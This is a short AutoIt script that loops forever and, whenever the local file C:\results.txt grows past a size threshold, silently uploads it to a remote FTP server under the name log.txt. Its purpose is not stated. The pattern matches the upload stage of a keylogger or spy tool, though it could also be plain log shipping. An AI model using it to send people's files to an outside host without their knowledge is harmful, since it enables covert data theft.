#include <FTPEx.au3>
Global $iSizeMax = 1024, _ ;1 kb
$sServer = "ftp.myserver.ru", _ ;ftp host
$sUsername = "***", _ ;Ftp user
$sPass = "***", _ ;Ftp password
$sFileLocal = @HomeDrive & '\results.txt', _;C:\results.txt
$sFileFTP = 'log.txt', _
$iTimeOut = 60000, _ ; 1 min.
$iStart = TimerInit()
While 1
If TimerDiff($iStart) > $iTimeOut Then
$iSize = FileGetSize($sFileLocal)
If $iSize > $iSizeMax Then
For $i = 1 To 1
$hOpen = _FTP_Open('MyFTP Control')
If @error Then ExitLoop
$hConn = _FTP_Connect($hOpen, $sServer, $sUsername, $sPass, 1)
If @error Then ExitLoop
_FTP_FilePut($hConn, $sFileLocal, $sFileFTP)
If @error Then ExitLoop
Next
If Not @error Then
$iSizeMax += 1024
EndIf
_FTP_Close($hOpen)
EndIf
$iStart = TimerInit()
EndIf
Sleep(50)
WEnd